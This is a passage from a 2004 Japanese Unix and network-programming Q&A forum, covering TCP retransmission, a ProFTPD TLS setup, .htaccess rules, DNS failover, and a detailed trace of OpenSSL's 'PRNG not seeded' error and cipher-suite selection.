そんな複雑なプログラムを書くのはやめて、まずは単純に POST する
プログラムを書くべきでしょう。もし、そういうプログラムは既に作成済
ということであれば、うまくいく場合とうまくいかない場合のリクエストを
見比べればわかるでしょう。
●そうですね。(基本的なことから行うべきですね)

No. 3826 # 68user 2004/06/24 (木) 21:05:18
>>3825 マツマツ
> ちなみにTCPの再送タイマってものが働いている場合、そのタイマは
> 24〜25秒の値なのでしょうか。
「詳解 TCP/IP Vol.1」によれば、RTT (往復時間) がほぼ 0 な LAN 上では、
再送間隔は
      1秒・3秒・6秒・12秒・24秒…
で、これを最初の送信からの経過時間で表すと
      1秒・4秒・10秒・22秒・46秒…
だそうです。

ただし RTT にそれなりの時間がかかる場合は、上記の通りには
なりません (計算式が難しくてよくわかりませんが)。

なお、上記の事柄が Solaris 2.4 や、同時代の SVR4 にも当て
はまるかどうかはわかりません。

No. 3827 # マツマツ 2004/06/24 (木) 22:32:53
> ちなみにTCPの再送タイマってものが働いている場合、そのタイマは
> 24〜25秒の値なのでしょうか。
「詳解 TCP/IP Vol.1」によれば、RTT (往復時間) がほぼ 0 な LAN 上では、
再送間隔は
            1秒・3秒・6秒・12秒・24秒…
で、これを最初の送信からの経過時間で表すと
            1秒・4秒・10秒・22秒・46秒…
だそうです。
●ありがとうございます。
(TCP/IPプロトコルについて、技術的な専門知識が分っていないため、
今後は勉強したいと思います。)
で、少々また不仕付けなお話ですみませんが、再送タイマが発生していると
した場合に、その原因/要因には、何があるでしょうか。
”ネットワークの質が悪く、TCP の再送タイマが働いている”
の部分で気になり、どちらかのマシンのHW不調(LANI/Fカードや
CPUボード等)とか、LANケーブル、HUB、トランシーバなどの
不調の影響で発生することとか考えられるでしょうか?。
(パケットトレースで確認することは必要なのですが、発生していると
分った時の発生原因を特定する上で、まず想定できる可能性のものがあれば
と思った次第からです)
(HW回りを疑って見るべきかどうか、何とも言えないのですが...)

ただし RTT にそれなりの時間がかかる場合は、上記の通りには
なりません (計算式が難しくてよくわかりませんが)。

なお、上記の事柄が Solaris 2.4 や、同時代の SVR4 にも当て
はまるかどうかはわかりません。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3828 # 68user 2004/06/26 (土) 00:30:41
>>3827 マツマツ
パケットを送信した後、一定時間が経過しても ACK が返ってこなければ
再送するわけなので、
> どちらかのマシンのHW不調(LAN・I/FカードやCPUボード等)とか、
> LANケーブル、HUB、トランシーバなどの不調の影響で発生することとか
> 考えられるでしょうか?。
これらすべてがパケット再送の原因となりえます。

No. 3829 # 68user 2004/06/26 (土) 00:43:43
この土日で当ページの引越しを予定しています。しばらく繋がらなかったり
するかもしれませんが、あらかじめご了承ください。

No. 3830 # 68user 2004/06/27 (日) 06:03:01
というわけで引っ越しました。

現時点でわかっている問題点は、
    - 掲示板の全文検索が動かない (準備中)
    - SEGA BBS 過去ログの全文検索が動かない (準備中)
です。この他に変なところがあればご指摘いただけると幸いです。

No. 3831 # 68user 2004/06/28 (月) 01:28:30
>>3830 68user
> - 掲示板の全文検索が動かない (準備中)
一応検索できるようになりました。

No. 3832 # 68user 2004/06/29 (火) 03:06:18
日記。

FreeBSD 5.2.1-RELEASE の /usr/bin/sort は NetBSD の sort から
GNU の textutils の sort に変わってしまったらしい。sort -c
で件数を数えることができなくなってしまった。ショック。

No. 3833 # 68user 2004/06/30 (水) 02:06:52
>>3832 68user
> sort -c で件数を数えることができなくなってしまった。
間抜けな勘違いをしていました。uniq -c と混同してただけでした。
sort も uniq もこれまで通り普通に使えますね。

No. 3834 # マオ猫 2004/06/30 (水) 23:03:44
最近になってTCP/IPの勉強を始めましたが、
    データリンク層
    トランスポート層
    ネットワーク層
の役割に反する実装の実例を挙げろって言われても……
何の事だかさっぱりです。
誰かわかるひといませんか?

No. 3835 # 68user 2004/06/30 (水) 23:19:43
>>3834 マオ猫
> …の役割
は何なのかをまず考えてみるべきでしょう。

ところで素朴な疑問ですが、これってどんな本 or 人 or 試験
からの出題ですか?

No. 3836 # 2004/07/03 (土) 21:41:41
いつも参考にさせてもらってます。
この度、仕事でSSL/TSLに対応したバッチ用のFTPクライアントが必要になったのですが、
Perlで実現できますでしょうか?
いろいろ検索してみたのですが、これといったのが見つからなくて・・・
もし何か知っていましたら、ご教授お願いします。

No. 3837 # 2004/07/03 (土) 21:43:42
ちなみに使用するサーバはRedHat Linux9.0です。

No. 3838 # 68user 2004/07/03 (土) 23:50:56
>>3836
> この度、仕事でSSL/TSLに対応したバッチ用のFTPクライアントが必要になったのですが、
> Perlで実現できますでしょうか?
Perl で「簡単に」行うモジュールはまだないと思います。Perl にこだわるなら
    http://perldoc.jp/docs/modules/IO-Socket-SSL-0.91/SSL.pod
などを使ってがんばるしかないでしょう。

あるいは http://www.perldiscuss.com/thread.php?group=perl.libnet
「Net::FTP versus TLS」のスレッドの人たちに「サンプルくれ!」とお願いする
手もあるかも (もらえたらわたしにもください)。

上記のスレッドでも出ていますが、手抜きするなら lftp (http://lftp.yar.ru/)
SSL/TLS に対応しているようなので、これを system なりで呼び出すのが楽だと思われます。

No. 3839 # 68user 2004/07/04 (日) 01:45:20
FreeBSD 5.2.1-RELEASE に TLS な proftpd をインストールし、lftpd で
接続してみるメモ。OpenSSL は標準でインスールされているが、なぜか
proftpd を make -DWITH_OPENSSL install すると ports の OpenSSL が要求
されるので、まずそれを入れる。

    # cd /usr/ports/security/openssl && make install
    # cp /usr/local/openssl/openssl.cnf.sample /usr/local/openssl/openssl.cnf
    # mkdir /usr/local/openssl/proftpd

鍵作成 (パスフレーズなし)。CSR を作成し、自己認証。

    # cd /usr/local/openssl/proftpd
    # openssl genrsa > key.pem
    # openssl req -new -days 365 -key key.pem -out csr.pem
    # openssl x509 -in csr.pem -out cert.pem -req -signkey key.pem -days 365

ProFTPD のインストール。

    # cd /usr/ports/ftp/proftpd
    # make -DWITH_OPENSSL install
    # mkdir /var/run/proftpd
    # cat <<END >> /usr/local/etc/proftpd.conf
    <IfModule mod_tls.c>
            TLSEngine on
            TLSLog /var/log/proftpd-tls.log
            TLSProtocol TLSv1
            TLSRequired off
            TLSRSACertificateFile /usr/local/openssl/proftpd/cert.pem
            TLSRSACertificateKeyFile /usr/local/openssl/proftpd/key.pem
            TLSVerifyClient off
    </IfModule>

ProFTPD 起動。rc まわりが rcNG になったので、proftpd_enable が必要 (?)

    # echo 'proftpd_enable="YES"' >> /etc/rc.conf
    # /usr/local/etc/rc.d/proftpd.sh start

lftpd で接続テスト。

    # cd /usr/ports/ftp/lftpd && make install
    % lftp -d hoge@localhost
    Password: ***
    lftp hoge@localhost:~> ls
    ---- Connecting to localhost () port 21
    <--- 220 ProFTPD 1.2.10rc1 Server (ProFTPD Default Installation) [hostname]
    ---> AUTH TLS
    <--- 234 AUTH TLS successful
    Certificate depth: 0; subject: /C=JP/ST=XX/O=Internet Widgits Pty Ltd; issuer: /C=JP/ST=XX/O=Internet Widgits Pty Ltd
    WARNING: Certificate verification: self signed certificate
    ---> USER hoge
    <--- 331 Password required for hoge.
    ---> PASS XXXX
    <--- 230 User hoge logged in.
    ---> PWD
    <--- 257 "/usr/home/hoge" is current directory.
    ---> PBSZ 0
    <--- 200 PBSZ 0 successful
    ---> PRET LIST
    <--- 500 PRET not understood
    ---> PASV
    <--- 227 Entering Passive Mode (127,0,0,1,192,51).
    ---- Connecting data socket to () port 49203
    ---> LIST
    <--- 150 Opening ASCII mode data connection for file list
    ---- Closing data socket
    <--- 226 Transfer complete.
    (略)
    lftp hoge@localhost:~>

No. 3840 # 68user 2004/07/05 (月) 01:37:21
どうでもいいんですが、ここ数年モチベーションが低下して、web の
更新が非常に少なくなっていました。

そこで数日前からトップページなどにバナー広告を付けてみました。
      バナー広告を貼る → 収入がっぽり → 更新する気力がわく
ということを夢見ていましたが、3日での収入はなんとびっくり 15円でした。
つまり 1日 5円。月に150円。年に 1800円。

5,000円以上にならないとお金が振り込まれないので、あと 2年半くらい
経ったらわたしは 5,000円手にすることになります。いやーここまで
儲からないものとは。

しかしわたしは変なところで前向きなので、今の 100倍の人が見にきて
くれれば毎日 500円、月に 15,000円も儲かるかと思うと、モチベーション
あがりっぱなしです。というわけで、訪問者を 100倍にする第一歩として、
    web と CGI のひみつ (http://X68000.q-e-d.net/~68user/webcgi/)

    全文検索 (http://X68000.q-e-d.net/~68user/webcgi/search-1.html)
を全面的にリライトしました。

No. 3841 # naisttn 2004/07/05 (月) 15:56:50
サイト更新ありがとうございます。参考にしてます。
全文検索できないのですが。(実行に必要な権限がない。とのこと)
テスト中でしたらすみません。

No. 3842 # 68user 2004/07/05 (月) 16:17:13
>>3841 naisttn
> 全文検索できないのですが。(実行に必要な権限がない。とのこと)
掲示板の全文検索ですね?

namazu.cgi の存在をすっかり忘れてしまい、cgi-bin/wwwboard/ 以下を
閲覧不可に設定してしまいました。本日中に直します。

No. 3843 # 68user 2004/07/05 (月) 19:44:14
>>3841 naisttn
直しました。ご指摘ありがとうございました。

結局 .htaccess を
    # namazu.cgi 以外はアクセス拒否
    SetEnvIf Request_URI "namazu.cgi" IS_NAMAZU
    order deny,allow
    allow from env=IS_NAMAZU
    deny from all
としたのですが、他にわかりやすい書き方ないですかねぇ?

    <Files !~ "namazu.cgi">
        deny from all
    </Files>
とか
    <Files "namazu.cgi">
        <Else>
            deny from all
        </Else>
    </Files>
とか
    <FilesMatch "(?:(?!namazu.cgi).)*">
        deny from all
    </FilesMatch>
とか書けないもんでしょうか。

てゆーか、apache の書式は絶対に腐ってると思う。

No. 3844 # 68user 2004/07/06 (火) 22:07:54
UNIX の部屋
      http://x68000.q-e-d.net/~68user/unix/
を更新しましたが、たいしたことは書いていません。

No. 3845 # ニッタン 2004/07/10 (土) 02:28:05
OpenSSLを使ってC言語でHttpClientを実装する方法を参考にさせて頂きました。
ですがサンプル通りでは、SSL_connect()で-1が返ってきます。
ずっと調べてまして、乱数を作成する時の種を設定しないと行けないみたいです。
それもある程度の長さの種じゃないと駄目なようです。(私の環境では32以上)
今、自宅なのでOpenSSLのバージョンはどれなのか判りませんが、
SSL_connect()するまでに以下の関数のどれかを使うと良い様です。
1、RAND_load_file()
2、RAND_seed()
3、RAND_poll()
一番楽なのは3を使うのが楽ですし、一般的で確実かもしれません。
ちなみにマスタリングTCP/IP SSL/TSL編のサンプルでは1が使われてました。

できれば、「SSL/TLS でアクセスしてみよう」に追記して頂ければ、
今後同じ所で嵌る人が困らないと思います。
お忙しいと思いますが、宜しくご検討下さい。

No. 3846 # 68user 2004/07/10 (土) 03:17:59
>>3845 ニッタン
質問ですが、
    http://search.luky.org/obu/msg02180.html
    http://search.luky.org/obu/msg02181.html
と同じく、/dev/random が存在しない環境でしたか?

No. 3847 # 68user 2004/07/11 (日) 22:58:42
UNIX の部屋
      http://x68000.q-e-d.net/~68user/unix/
を更新しましたが、苦労したわりに内容はいまいちです (m4 とか)。

あと、見栄えをいじりましたが、もし見づらかったら文句言ってください。

No. 3848 # bindユーザ 2004/07/12 (月) 15:04:02
ネームサーバはプライマリとセカンダリを置いて、プライマリが障害の場合セカンダリが応答しますよね。
この仕組みはどのように実現されているのでしょうか?
仮にプライマリがダウンした直後に、プライマリに問い合わせたクライアントがあったとすると、
応答待ちでしばらくするとエラーになりますよね?(自身なし)
しかし、しばらくすると、すべてのクライアントが障害のないセカンダリにのみ問い合わせるようになりますよね?(自身なし)
この間はどのくらいの時間なのでしょうか?
どこかで調整できるのでしょうか?

No. 3849 # ニッタン 2004/07/12 (月) 16:08:20
68userさん、お返事ありがとうございます。
実は、今日会社を休んだ為、OpenSSLのバージョンはまだ判っていませんが、
/dev/randomの件は、マスタリングTCP/IP SSL/TSL編には
少し紹介されてました。

結論から言いますと、多分/dev/randomは存在しない環境かと。
サンプルのソースだとOpenSSLのライブラリー部分で、
/dev/randomに標準でアクセスしに行く様になっているでしたら
現状のサンプルのままでも問題ないかと思います。
(でも一文位あったら親切だな〜っと思ったりもします。お忙しいと思いますが)

プロキシー接続だったので、過去ログではプロキシーでしか検索していませんでした。
結局、プロキシー云々は関係なかったですが。

No. 3850 # 68user 2004/07/12 (月) 18:41:13
>>3848 bindユーザ
> プライマリが障害の場合セカンダリが応答しますよね。
これは誤りで、セカンダリは常にリクエスト・レスポンスの送受信を
しています。

> 仮にプライマリがダウンした直後に、プライマリに
> 問い合わせたクライアントがあったとすると、
タイムアウトすると即座にセカンダリにリクエストを投げると思います。

> すべてのクライアントが障害のないセカンダリにのみ
> 問い合わせるようになりますよね?
ならないです。プライマリにもアクセスし続けます。

以上はキャッシュサーバについての説明です。

通常のマシンはキャッシュサーバにアクセスするだけで、コンテンツ
サーバ (プライマリ DNS サーバやセカンダリ DNS サーバ) に直接
アクセスすることはない、ということに注意してください。

とか言いつつ、わたしは DNS サーバの運営をしたことがないので、
嘘をついているかもしれません。
    http://dns.qmail.jp/server/
をご一読ください。


>>3849 ニッタン
ソースが不十分であることは認識していますので、直します。

# ついでにエラーメッセージの出力が不十分なので、これも
# 直します。

ただ、なぜ RAND_load_file()/RAND_seed()/RAND_poll() しなければ
ならないのかを正確に書きたかったので、質問させていただきました。

今気づきましたが、FAQ にも書いてありますね。
      http://www.openssl.org/support/faq.html#USER1

1週間ほど時間をください。

No. 3851 # hash 2004/07/12 (月) 22:16:23
>>3847 68user
チェックボタンをonにする、ラベル用途のJavaScriptでエラーが出ます。
数年前からだと思うのですが…

私は、Windows2K & ie6ユーザーです。

No. 3852 # 68user 2004/07/12 (月) 22:41:35
>>3851 hash
ありがとうございます。丸一年気づいていませんでした。
さきほど修正しました。

どうでもいいんですが、こういう用途に使える label 要素
ってのがあることをつい先日知りました。

http://tohoho.wakusei.ne.jp/html/label.htm

No. 3853 # 68user 2004/07/12 (月) 23:51:24
この掲示板の全文検索 (namazu.cgi) ですが、問題が発生したため
再び休止します。

No. 3854 # tototo [E-mail] 2004/07/13 (火) 09:33:12
お聞きしたいのですが、
Linuxでのbashシェルを使った
環境変数PATHの順番を変更するやり方を教えてください。

No. 3855 # 68user 2004/07/13 (火) 12:33:21
>>3854 tototo
お望みの PATH をそのまま設定する方が自然だと思われます。
どうしても「順番の変更」でなくてはならない理由はありますか?

No. 3856 # ニッタン 2004/07/13 (火) 13:02:44
68userさん、
お忙しいとは思いますが、よろしくお願い致します。
とっても有益な情報が沢山載っているので、
今後も役立つと思いますので、頑張ってください。

私の方でももう一度、調べてみましたが
RAND_poll()が、自動的に呼ばれる様になっていますね。
(FAQにもそれらしい事が書いてあるような気もしますね。)
私の使っている環境に移植してきた担当者が
RAND_poll()を空関数に実装し直していました。
出来れば、ERR_print_errors_fp()の存在も追記して頂けると重宝すると思います。

No. 3857 # つばき [E-mail] 2004/07/13 (火) 14:44:25
はじめまして。大学生をやっていますつばきです。
Unixのコマンドの意味でわからないことがありました。
学校の課題で「ftp」と「rcp」の違いを説明せよ、というものがありまして、
こちらのサイトでコマンドを検索してみたのですが、
「ftp」はファイルを置いてくる/持ってくる、「rcp」はファイルをコピーする、という説明が出てきました。
この二つ、特に持ってくるとコピーするの部分は同じ意味のような気がするのですが
具体的な違いは何なのでしょうか。
できれば、でよろしいのでご回答お願いします。

No. 3858 # 68user 2004/07/13 (火) 15:09:09
>>3856 ニッタン
> 出来れば、ERR_print_errors_fp()の存在も追記して頂けると重宝すると思います。
了解です。

>>3857 つばき
> この二つ、特に持ってくるとコピーするの部分は同じ意味のような気がするのですが
同じです。
    - ftp なら get するか、put するか
    - rcp なら rcp ./file host: するか rcp host:file . するか
の違いです。

わたしの思う大きな違いは Anounymous ftp という仕組みでファイルを
配布できるのが ftp、そうでないのが rcp。

後は些細な違いしかないと思いますが、それでも 10 や 20 はあげられる
かと思います。課題ということなのでいろいろ調べてみてください。

No. 3859 # samsara 2004/07/13 (火) 15:57:04
はじめまして、ネットワークプログラミングの勉強をしています。
Windows上でネットワーク関連のソフトウェアを作成したことはあるのですが、
ライブラリを使用していた為、SocketAPI等はあまり深い知識がありません。
そこで教えていただきたい事があるのですが、ここの掲示板でよろしいでしょうか?

1.WindowsのSocketとUNIXのSocketで関数の違い等あるのでしょうか?
2.UNIXのSocketでも、Linux、FreeBSD、Solaris等で違いがあるのでしょうか?

参考情報等教えていただきたいと思ってます。宜しくお願い致します。

No. 3860 # tototo 2004/07/13 (火) 16:51:20
順番変更しなければならない理由はないのですが、
PATHの順番を変更するやり方
はあるのかが気になったのため、お聞きしました。

No. 3861 # 68user 2004/07/13 (火) 21:46:58
>>3859 samsara
> 1.WindowsのSocketとUNIXのSocketで関数の違い等あるのでしょうか?
http://www.kt.rim.or.jp/~ksk/wskfaq-ja/articles/bsd-compatibility.html など。

> 2.UNIXのSocketでも、Linux、FreeBSD、Solaris等で違いがあるのでしょうか?
たとえば
    http://x68000.q-e-d.net/~68user/net/echo-3.html#6
の backlog とか、UDP で受信できる最大サイズを超えた場合の
処理などですかね。より詳しいことを知りたいなら
    http://x68000.q-e-d.net/~68user/net/link-book.html
        「UNIX ネットワークプログラミング第2版 Vol.1」
をどうぞ。後は
    http://apr.apache.org/
などのライブラリのソースの #if 部分をとことん読む、などなど。

>>3860 tototo
> PATHの順番を変更するやり方
    PATH=`echo $PATH | sed 's@/usr/bin:@@'`':/usr/bin'
とか
    for i in `echo $PATH | tr ':' ' '`; do
          いろいろ
    done
とかですかねぇ。

No. 3862 # 68user 2004/07/13 (火) 22:24:51
ここ数ヶ月 (web 引越し前)、マルチポストしたり回答しても返事すら
書かない質問者が多く、困っていました。困るだけならまぁいいんですが、
わたしの web 更新のモチベーションを大いに下げてくれました。

というわけで、↑に書いたとおり、
      http://x68000.q-e-d.net/~68user/cgi-bin/wwwboard.cgi?howtouse
を読まない・読んでも守りたくない人は質問しないでください。
もちろん、これらのルールを守っておられる方々の質問は引き続き
歓迎いたします。

これはマナーではなく、この掲示板のルールであることに注意して
下さい。これが気にいらない方は (当然ながら) この掲示板を見ない
自由があります。

web 引越し後は以前のような不届きな質問者はいなくなったようで、
とてもうれしく思っています。

No. 3863 # samsara 2004/07/13 (火) 23:01:52
68userさま、回答ありがとうございます。
教えていただいたページをじっくり読んでみます。

No. 3864 # 68user 2004/07/14 (水) 02:36:01
>>3845 ニッタン
自分用のメモ。ソースが
    SSL_CTX *ctx = SSL_CTX_new(SSLv23_client_method());
    SSL ssl = SSL_new(ctx);
    SSL_connect(ssl);
となっていたとして、

      SSL_CTX *SSL_CTX_new(SSL_METHOD *meth){
            ret->method=meth;

      SSL_METHOD *SSLv23_client_method(void){
            SSLv23_client_data.ssl_connect=ssl23_connect;

      int ssl23_connect(SSL *s)
            ret=ssl23_client_hello(s);

      static int ssl23_client_hello(SSL *s)
            RAND_pseudo_bytes(p,SSL3_RANDOM_SIZE);

      int RAND_pseudo_bytes(unsigned char *buf, int num)
            const RAND_METHOD *meth = RAND_get_rand_method();
            return meth->pseudorand(buf,num); /* (*1) */

      const RAND_METHOD *RAND_get_rand_method(void)
            default_RAND_meth = RAND_SSLeay(); /* (*2) */
            return default_RAND_meth;

      static int ssleay_rand_pseudo_bytes(unsigned char *buf, int num){
            ret = RAND_bytes(buf, num);

      static int ssleay_rand_bytes(unsigned char *buf, int num)
            if (ok){
                  ...
            } else {
                  RANDerr(RAND_F_SSLEAY_RAND_BYTES,RAND_R_PRNG_NOT_SEEDED);

ときて「PRNG not seeded」エラーになる、てな感じですかね。


(*1)
      RAND_METHOD rand_ssleay_meth={
            ssleay_rand_seed,
            ssleay_rand_bytes,
            ssleay_rand_cleanup,
            ssleay_rand_add,
            ssleay_rand_pseudo_bytes,
            ssleay_rand_status
      };

      typedef struct rand_meth_st {
            void (*seed)(const void *buf, int num);
            int (*bytes)(unsigned char *buf, int num);
            void (*cleanup)(void);
            void (*add)(const void *buf, int num, double entropy);
            int (*pseudorand)(unsigned char *buf, int num);
            int (*status)(void);
                } RAND_METHOD;
(*2)
      RAND_METHOD *RAND_SSLeay(void)
            return(&rand_ssleay_meth);

No. 3865 # つばき [E-mail] 2004/07/14 (水) 10:40:53
68user様。回答ありがとうございました。
自分なりに調べまして解決しました。助言を下さってありがとうございます。

No. 3866 # 2004/07/14 (水) 11:17:29
To UNIXの部屋管理者様
もしかすると変なことを行ってるかもしれませんが。
cp -r の項目で以下の解説が有りますが。

-R ディレクトリを再帰的にコピーする
ディレクトリ dir1 以下に、ファイル foo・bar があった場合、
% cp -R dir1 dir2
は、ディレクトリ dir2 の下にディレクトリ dir 1をコピーする。つまり
dir2/dir1/foo、dir2/dir1/foo <<<<<<<<<の二項目はdir2/dir1/barではないでしょうか
というファイルが新たに作成される。一方、
% cp -R dir1/ dir2
とすると(`/'を付けると)、dir2 の下に dir1 以下のファイル・ディレクトリをコピーする。つまり
dir2/foo、dir2/foo <<<<<<<<<同様にの二項目はdir2/barではないでしょうか
というファイルができる。

No. 3867 # ニッタン 2004/07/14 (水) 12:18:27
68userさん、はいそうです。
ここまで調べるのは苦労しませんでしたか?
私はマスタリングTCP/IP SSL/TLS編がなければ
未だに判らなかったと思います。

No. 3868 # jeiu 2004/07/14 (水) 17:44:12
ただいまSLL勉強中です。このHPも参考にさせて頂いています。
つまらない質問ですが初心者の至りということでお許しください。
ネットワークプログラミングの基礎知識 >> RSA で暗号化してみよう (1)に
暗号化のサンプルがありますが、これらの作業はOpenSSLのライブラリの中で
行われている事なのでしょうか。
たとえば、ネットワークプログラミングの基礎知識 >> SSL/TLS でアクセスしてみよう (1)
には暗号化の記述はありませんが実際には指定したプロトコルで暗号化が行われている
と思います。どこで実装されるものなのでしょうか?

No. 3869 # 68user 2004/07/14 (水) 23:15:03
>>3866
ご指摘のとおりかと思います。というわけで、修正しました。
      http://X68000.q-e-d.net/~68user/unix/pickup?cp
ありがとうございました。

>>3867 ニッタン
> ここまで調べるのは苦労しませんでしたか?
調べるのに 3日かかってますので、苦労しました。

でも、なぜ RAND_poll() したらエラーにならないのかいまいち
わかっていません (別にこれがわからなくても構わないんですが、
気になるもので)。

>>3868 jeiu
> どこで実装されるものなのでしょうか?
OpenSSL のライブラリの中です。

SSL/TLS はクライアントが利用可能な暗号 (正しくは暗号スイート) を
提示し、サーバがその中から選びます。よって常に RSA が使用される
わけではありません (DH を使う場合もある)。

で、暗号スイートを提示したり、RSA で暗号化・復号化したり、
DH で鍵交換したり、プレマスターシークレットを送ったり、
ということはすべて OpenSSL のライブラリ中で記述されています。

No. 3870 # ニッタン 2004/07/15 (木) 22:09:01
>調べるのに 3日かかってますので、苦労しました。

でしたら、やはりお持ちのマスタリングTCP/IP SSL/TLS編を
辞書的に使いながら追いかける方がいいかもしれませんよ。

>でも、なぜ RAND_poll() したらエラーにならないのかいまいち
わかっていません

結局、RAND_poll()内で乱数の種をプロセスIDや/dev/randomなどを使って作成して
RAND_add()しているからだと思います。
RAND_seed()も結局、RAND_add()をしていますし。

No. 3871 # 68user 2004/07/16 (金) 02:33:49
>>3870 ニッタン
/dev/random や /dev/urandom がない環境ではエラーになるが、
RAND_poll() を呼ぶとうまくいくと。

ということはおそらく RAND_poll() を呼ぶと
      http://snapshots.jp.freebsd.org/tour/current/userland/S/7348.html#145
に処理が移ると思います。

# このソースは OpenSSL 0.9.7d です。

ここでは /dev/random や /dev/urandom を読んでいろいろやって
ますが、/dev/random や /dev/urandom がない環境なので、結局は

    unsigned long l;

    l=curr_pid;
    RAND_add(&l,sizeof(l),0);
    l=getuid();
    RAND_add(&l,sizeof(l),0);
    l=time(NULL);
    RAND_add(&l,sizeof(l),0);

だけが実行されると思います。ここで 第三引数の entropy には全て 0 を
渡しています。

RAND_add を呼ぶと ssleay_rand_add が呼ばれ、
      http://snapshots.jp.freebsd.org/tour/current/userland/S/7341.html#190
が実行されます。

    if (ok)
        return(1);
    else
        RANDerr(RAND_F_SSLEAY_RAND_BYTES,RAND_R_PRNG_NOT_SEEDED);

とあるのがエラーになっている箇所かと思います。つまり RAND_poll() を
呼ぶと ok が真になり、RAND_poll() を呼ばないと偽になる、と。ここで
ok とは何かというと

    ok = (entropy >= ENTROPY_NEEDED);

です。ENTROPY_NEEDED は

    ./crypto/rand/rand_lcl.h:#define ENTROPY_NEEDED 32 /* require 256 bits = 32 bytes of randomness */

なので、entropy <= 32 なときに RPNG_NOT_SEEDED でエラーになる。
逆に言えば、RAND_poll() を呼ぶと entropy >= 32 になるためうまく
いくようになる、ということです。しかし entropy を増やしているのは

    entropy += add;

しかないような気がします。でも、add は RAND_add() の第三引数で、
今回はすべて 0 が渡されています。よって、

    entropy += 0;

となるわけです。それなのになぜ entropy が増えて >=32 になるのか
わからないなぁ、といったところで止まっています。

「マスタリングTCP/IP SSL/TLS編」は調べましたが、内部構造には
触れていようで見つけられませんでした。もしどこかに載っていたら
教えてください。

No. 3872 # 68user 2004/07/16 (金) 02:58:19
>>3872 68user
続きです。

こちらには /dev/random・/dev/urandom が存在しない環境がないため、
FreeBSD で OpenSSL のソースをいじって、無理矢理 /dev/random・
/dev/urandom が存在しない状況を作ってみました。その結果、
    PRNG not seeded
なエラーが発生しました。

しかし SSL_connect() の直前に RAND_poll() を挿入しても、同じく
PRNG not seeded となりました。そこで確認させていただきたいのですが、

>>3845 ニッタン
> SSL_connect()するまでに以下の関数のどれかを使うと良い様です。
> 3、RAND_poll()
> 一番楽なのは3を使うのが楽ですし、一般的で確実かもしれません。
はそちらの環境では正常に動作しているのですよね?

No. 3873 # jeiu 2004/07/16 (金) 11:57:50
回答ありがとうございます。
もうひとつ教えてください。

>SSL/TLS はクライアントが利用可能な暗号 (正しくは暗号スイート) を
>提示し、サーバがその中から選びます。よって常に RSA が使用される
>わけではありません (DH を使う場合もある)。

クライアントから提示する暗号方式とはなにをもとに決められるのでしょうか?

たとえば、SSL V2に対応したアプリケーションとかV3に対応した
アプリケーションとかで決まることなのでしょうか?
または、Open SSL等で自力でSLLを実装するような場合は、対応できる暗号方式が
特定される(できる?)のであれば、それだけでは決まらないような気もしますが...。

No. 3874 # 68user 2004/07/16 (金) 12:41:39
>>3873 jeiu
> クライアントから提示する暗号方式とはなにをもとに決められるのでしょうか?
クライアント作成者が勝手に決めます。例えば 3DES と RC4 はいいけど
DES は暗号強度が気に入らないから使わないとか、MD5 より強固な SHA-1 を
使うとか。

OpenSSL であれば SSL_CTX_set_cipher_list() を使って好きな暗号
スイートをセットすればよいでしょう。

暗号スイートは具体的には
      http://www21.ocn.ne.jp/~k-west/SSLandTLS/rfc2246-Ja.txt

    TLS_RSA_WITH_3DES_EDE_CBC_SHA
    TLS_DH_anon_WITH_3DES_EDE_CBC_SHA
などを指します。

上記 RFC の ClientHello がクライアントからの暗号スイートの提示、
ServerHello がサーバからの暗号スイート決定通知、です。

> または、Open SSL等で自力でSLLを実装するような場合は、対応できる暗号方式が
> 特定される(できる?)のであれば、それだけでは決まらないような気もしますが...。
これは意味がわかりませんでした。

No. 3875 # ニッタン 2004/07/16 (金) 12:48:04
誤解を招くような書き方をしてしまいました。
申し訳ありません。
まず、RAND_poll()はRAND_byte()やRAND_status()の始めての呼び出しの際に
一度だけ呼ばれていると思われます。
RAND_poll()内では/dev/random・/dev/urandomを使用して
乱数の種を作っています。

/dev/random・/dev/urandomが存在しない環境でも
上記の様にRAND_poll()は呼ばれていますが、
No.3871の通り
乱数の種は作られません。
そこで、RAND_poll()を自前で呼び出しても同じ結果になります。

つまり、RAND_F_SSLEAY_RAND_BYTES,RAND_R_PRNG_NOT_SEEDEDのエラーが
発生した時は
RAND_poll()で乱数の種を作成するのに失敗しているので、
自前で乱数の種を作らないといけない
と言った説明を追記して頂ければいいと思います。

自前で乱数の種を作るのが
1、RAND_load_file()

2、RAND_seed()
と言う訳です。

貴重な時間を割かせてしまいまして、申し訳ありませんでした。

No. 3876 # 68user 2004/07/18 (日) 00:14:10
>>3875 ニッタン
更新しました。長らくお待たせしてすいません。
      http://X68000.q-e-d.net/~68user/net/ssl-1.html

詳しく説明しようとして、ドツボにはまった感がありますが、
いかがでしょうか。

RAND_status を呼べばその中から RAND_poll が呼ばれるのですが、
あえて RAND_poll を呼んでいるのは、マニュアルに書いてないこと
はなるべく前提としないでおこう、という方針だからです。

最初のサンプルプログラムがこれではわかりづらすぎるかなぁ。

No. 3877 # ニッタン 2004/07/19 (月) 12:23:11
ありがとうございます。
色々と勉強したので、私には理解できますが、
今後、初心者が読んだ場合に理解できるかはどうかは、
この掲示板にでも書き込んでくれる事を期待して、
この話題は一旦終了しましょう。

>最初のサンプルプログラムがこれではわかりづらすぎるかなぁ。

結局、/dev/randomがない環境では、種を作らないとエラーになるので
仕方ないと思います。
一応、/dev/randomがある環境では必要ないと補足してありますし。

今までありがとうございました。今後も参考にさせて頂きます。

No. 3878 # jeiu 2004/07/20 (火) 15:56:20
>> または、Open SSL等で自力でSLLを実装するような場合は、対応できる暗号方式が
>> 特定される(できる?)のであれば、それだけでは決まらないような気もしますが...。
>これは意味がわかりませんでした。

わけのわからない質問をしてすみません。
聞きたかったのは、クライアントが決める暗号化方式はどこで定義するのか?
とういうことでした。
あるHPでは、「暗号化に関する特許などが絡んでいるため、わけのわからないものは
コンパイルオプションを使って使用しないほうがよいでしょう」と書かれていたり、
ちょっと混乱状態です。
も少し勉強が必要かなと思います。

No. 3879 # jeiu 2004/07/21 (水) 14:07:32
68user殿

No.3874の
>OpenSSL であれば SSL_CTX_set_cipher_list(ctx,ciphers) を使って好きな暗号
>スイートをセットすればよいでしょう。
のciphersには具体的にはどのような設定をすればよいのでしょうか?

いずれにしても、どの暗号化方式を利用するかは上記のようにプログラミング依存
ということになるんでしょうか?(とすると、No.3878にも書かせていただきましたが
「コンパイルオプションを使って...」は何を意味するのでしょう。ご存知でしたら教
えてください)。

No. 3880 # 68user 2004/07/21 (水) 16:09:13
